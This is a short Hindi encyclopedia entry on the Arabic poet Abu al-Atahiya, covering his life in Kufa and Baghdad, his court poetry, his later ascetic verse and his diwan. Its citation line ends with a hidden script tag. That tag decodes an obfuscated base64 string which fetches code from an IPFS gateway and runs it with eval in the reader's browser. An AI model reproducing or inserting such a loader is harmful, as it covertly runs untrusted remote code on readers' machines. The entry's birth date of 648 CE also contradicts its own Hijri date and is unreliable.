अबुल अतहिय

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अबुल्‌ अतहिय : अबू इसहाक इस्माइल बिन कासिम अनबार के पास एक गाँव एनुल्तमर में पैदा हुआ और कूफ़ा में इसका पालन हुआ। युवावस्था में मिट्टी के बर्तन बेचकर यह कालयापन करता था। आरंभ से ही इसकी रूचि कविता की ओर थी। कुछ समय के अनंतर बगदाद पहुँचकर इसने खलीफा मेहदी की प्रशंसा की और पुरस्कृत हुआ। खलीफा हारूँरशीद के काल में यह और भी संमानित हुआ। बगदाद में खलीफा मेहदी की दासी उत्ब: पर इसका प्रेम हो गया और यह अपने कसीदों में उसके सौंदर्य तथा गुणों का गायन करने लगा। किंतु उत्ब: ने इसके प्रति कुछ ध्यान नहीं दिया जिससे यह संसार से मन हटाकर धर्म और सूफी विचारों की ओर झुक पड़ा। अब इसकी कविता में सदाचार की बातें बढ़ गई जिसे इसके देशवालों ने बहुत पसंद किया। परंतु कुछ लोगों ने उसपर यह आपत्ति की है कि इसकी रचना इस्लाम के सिद्धातों तथा तत्वों के अनुसार नहीं है। धन दौलत का लोभ इसे अंत तक बना रहा। बगदाद में मरा और वहीं दफनाया गया।

अबुल अतहिय: का दीवान सन्‌ 1886 ई. में प्राकाशित हुआ, जिसके दो भाग हैं। एक भाग में सदाचार की प्रशसित और दूसरे भाग में अन्य प्रकार की कविताएँ संगृहीत हैं। इसकी कविता में निराशावाद अधिक है, पर इसकी काव्यशैली सरल तथा सुगम है। इसका समय सन्‌ 648 ई. तथा सन्‌ 825 ई. (सन्‌ 130 हि.तथा सन्‌ 210 हि.) के बीच है।[1]



टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 166 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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